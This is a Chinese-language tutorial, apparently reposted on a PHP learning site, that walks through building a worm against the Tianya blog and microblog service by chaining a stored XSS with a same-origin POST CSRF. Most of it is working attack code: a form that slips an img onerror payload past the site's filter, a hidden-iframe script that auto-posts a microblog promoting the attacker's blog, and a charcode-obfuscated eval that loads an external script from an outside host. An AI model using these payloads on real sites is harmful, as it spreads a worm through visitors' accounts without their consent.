网站地图    收藏   

主页 > 后端 > 网站安全 >

天涯CSRF系列四: 利用储存XSS+伪CSRF进行蠕虫攻击

来源:自学PHP网    时间:2015-04-17 10:16 作者: 阅读:

[导读] 这次的例子将结合一个POST的CSRF来实现蠕虫攻击,这次的蠕虫仅仅是利用一个CSRF来传播,如果用XSS(dom操作)来感染,危害更大。通过发微博,我抓到了一个这样一个POST的地址http: www tia...

这次的例子将结合一个POST的CSRF来实现蠕虫攻击,这次的蠕虫仅仅是利用一个CSRF来传播,如果用XSS(dom操作)来感染,危害更大。

通过发微博,我抓到了一个这样一个POST的地址
 
 
http://www.tianya.cn/api/tw?method=tweet.ice.insert
 
当我们单独访问这个地址的时候,出现如下信息。
 
这说明什么?说明已经对来源的地址做了过滤。
 
有的同学就问了,这还CSRF什么?还利用个毛啊!
 
不要急嘛,故事才刚刚开始。
 
 
既然我们无法通过外部的链接来触发CSRF,那么我们可以利用储存型的XSS来触发这个CSRF。在本域下发包,来源域是天涯的,自然不会拦截。
 
正好在天涯博客日志页面发现一个储存XSS的实例,那我们就来结合这个实例进行一次蠕虫攻击。
 
1.一波三折的XSS过滤器绕过
 
首先打开HTML编辑器
 
先插入一条
<img src=x>试试
 
点击更新在点HTML编辑回来发现变成了这样
 
 
没关系,我们打开开发者工具在源码中修改
 
发布之后,打开开发者工具发现又被替换成了这样
 
 
万一只是SRC被替换呢,试试插入onerror事件
发布之后,发现又被吃掉了。
 
这也不行那也不行,干脆直接发包来提交文章吧。
 
看了下参数,我构造了一个POST的HTML来发文章
 
 
<form action="http://blog.tianya.cn/qing/tyqing_post_submit.asp" method="post" >
        <input type="hidden" name="blogId" value="4784133">
        <input type="hidden" name="title" value="test">
        <input type="hidden" name="content" value="<img src=x onerror=alert() >" >
        <input type="hidden" name="keyWord" value="">
        <input type="hidden" name="categoryId" value="0">
        <input type="hidden" name="setTop" value="0">
        <input type="hidden" name="ChannelCate" value="0">
        <input type="hidden" name="size" value="500">
        <input type="hidden" name="bHidden" value="0">
        <input type="submit" value="ok">
</form
 
提交之后:
 
回到博客主页,终于弹起来了
 
弹起来了就意味着可以蠕虫了。
 
 
 
接下来我们来整理一下逻辑。首先我们需要编写一个访问我的博客地址就能自动发微博的一段payload。通过这个payload可以发布我的博客地址然后诱导大家都来访问,这样下去访问一次就自动发一次微博,达到蠕虫传播的效果。
 
 
 
2.构造payload
 
 
 
构造这个payload,我们得弄清楚先做什么再做什么。
 
第一步:构造一个发布微博的HTML表单
 
第二步:构造一个iframe来进行POST提交,或者使用AJAX提交(因为是同域的情况下,这里我使用iframe,便于学习跨域提交)
 
第三步:把发布微博的HTML表单写进iframe里然后隐蔽的提交
 
 
 
经过这三步,我们得到一个完整的 payload:
 
 

/* 首先动态创建一个iframe */
var div = document.getElementById("blog_nav");
var iframe = document.createElement("iframe");
iframe.src = '';
iframe.style.display = "none";
iframe.id = "test_iframe"
div.appendChild(iframe);
/* 接着向iframe中写入提交微博的代码 */
var SendConent ="推荐大家一个好玩的 http://blog.tianya.cn/blogger/blog_main.asp?BlogID=4784133";
test_iframe.document.write
(
"<form id='test_form' action='http://www.tianya.cn/api/tw?method=tweet.ice.insert' method='post' >"
    +"<input type='hidden' name='params.appId' value='twitter'>"
    +"<input type='hidden' name='params.title' value='"+ SendConent +"'>"
    +"<input type='hidden' name='params.sourceName' value='天涯微博'>"
    +"</form>"
    +"<script>document.getElementById('test_form').submit();<\/script>"
);

 

现在payload有了,怎么才能让payload执行呢。
 
我们得先往博客上发恶意代码才行。为了发送恶意代码我构造了这样一个POST表单
 
 
<form action="http://blog.tianya.cn/qing/tyqing_post_submit.asp" method="post" >
        <input type="hidden" name="blogId" value="4784133">
        <input type="hidden" name="title" value="test">
        <input type="hidden" name="content" value="<img src='bcdcmd.txt' onerror='eval(String.fromCharCode(118,97,114,32,111,72,101,97,100,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,72,69,65,68,39,41,46,105,116,101,109,40,48,41,59,118,97,114,32,111,83,99,114,105,112,116,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,111,83,99,114,105,112,116,46,116,121,112,101,61,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,111,83,99,114,105,112,116,46,115,114,99,61,39,104,116,116,112,58,47,47,99,110,104,107,46,109,108,47,116,105,97,110,121,97,47,116,105,97,110,121,97,46,106,115,39,59,111,72,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,111,83,99,114,105,112,116,41))'>" >
        <input type="hidden" name="keyWord" value="">
        <input type="hidden" name="categoryId" value="0">
        <input type="hidden" name="setTop" value="0">
        <input type="hidden" name="ChannelCate" value="0">
        <input type="hidden" name="size" value="500">
        <input type="hidden" name="bHidden" value="0">
        <input type="submit" value="ok">
</form>

 

其中一大串ASCII码代表:
 
 
var oHead = document.getElementsByTagName('HEAD').item(0);
var oScript = document.createElement('script');
oScript.type = 'text/javascript';
oScript.src = 'http://cnhk.ml/tianya/tianya.js';
oHead.appendChild(oScript);

 

 
其意为 引入一个外部的JS文件,也就是引入我们的payload, 当访问者访问我们的博客就会触发payload立刻感染。
 
 
 
接着用它发表一篇带有恶意代码的文章,到目前位置所有的工作都做完了。
 
 
刷新之后我们看看微博:
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论